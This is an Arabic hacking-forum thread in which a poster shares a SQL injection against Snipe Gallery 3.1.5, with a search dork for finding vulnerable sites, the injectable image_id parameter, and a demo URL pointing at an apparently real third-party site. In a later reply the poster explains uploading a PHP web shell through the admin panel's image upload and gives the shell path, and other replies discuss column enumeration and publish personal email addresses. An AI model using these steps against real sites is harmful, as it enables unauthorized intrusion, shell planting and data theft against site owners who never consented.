:: vBspiders Professional Network :: - ثغرة من اكتشافي ادخل يا [you]

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)

- - ثغرة من اكتشافي ادخل يا [you] (http://www.vbspiders.com/vb/t31268.html)

ثغرة من اكتشافي ادخل يا [you]

السلام عليكم
والحمد لله اليوم اكتشفت ثغرة بنفسي والحمد لله
شوفو الثغرة

كود PHP:

   # Exploit Title:   snipe gallery Script Sql Injection
# Date: 26/06/2010
# Author: dev!l ghost
# Email: aws(at)live(dot)it
# Site : www.h00forall.com
# Script url: http://sourceforge.net/projects/snipegallery/
# Version: 3.1.5
# Tested on: Windows
# CVE : ()
  
:::::::::::::::::::::::::
  
  
=================Exploit=================
DorK:(Snipe Gallery v.3.1.5 by Snipe.Net)

When You search with the dork you will find a lot of sites ,,enter
site and you will find a lot of pictures enter any picture and 
the pot the(')and start the inject

the inject is very easy 



----exploit----   

{{DeMo}}
http://www.onesteppublishing.com/snipe/image.php?page=1&search_type=and&image_id=78(SQLI)

---------greatz----------
Greatz to all my frinds and the all muslims 
and Volc4n0 and Golden Ice and mr.ip
and the all 

thank you

كلمة شكر تكفيني وتشجعني على المزيد لا تنسون smilies15smilies15

الله يوفقك اخوي

وان شاء الله تطور اكثر وكثر

شكرأ خيو اوس يسلمو حبوب هه

مشكور و الى الامام لمزيد من الاكتشفات لثغرات اخرى

يعطيك الف الف عافيه يابطل

merci baucoup mon frere c t un bon travail

بارك الله فيك اخي الى الامام بس اخي ممكن سوال لماذا عند استعمال امر order+by لا يقولي كم عامود مصاب ارجو الشرح

اقتباس:

المشاركة الأصلية كتبت بواسطة TheGame (المشاركة 158364)

بارك الله فيك اخي الى الامام بس اخي ممكن سوال لماذا عند استعمال امر order+by لا يقولي كم عامود مصاب ارجو الشرح

[align=center] قد تكون مرقعه او بلند[/align]

شكرا ليك اخوي تقبل مروري

السلام عليكم اخي مبدع ديما وصل ماشاء الله الله يعطيك العافية وصل ديما مبدع

والله العظيم نورتو الموضوع
ونسيت اقول لكم عندما تدخل لوحة التحكم بس اضغط على
upload image
وارفع شلك بصيغةphp
وتكون مسار الشل
www.xxxxx.com/photos/shell.php

مبروك الإكتشاف

و في انتظار المزيد

نورتو الموضوع اشكركم

مبروك الاكتشاف يا اخوي

ياريت ترسلها لموقع

exploit-db.com

حتى يسجلوها باسمك

كل الي عليك تراسل هاد الايميل الموجود بالصفحه وتتبع الشروط

exploit-db/stuff

kEEp Up

السلام عليكم جميع احبائي و اخوني في الشبكة هذا اميلي kouroga3@hotmail.com دمت في رعاية الله وحفضه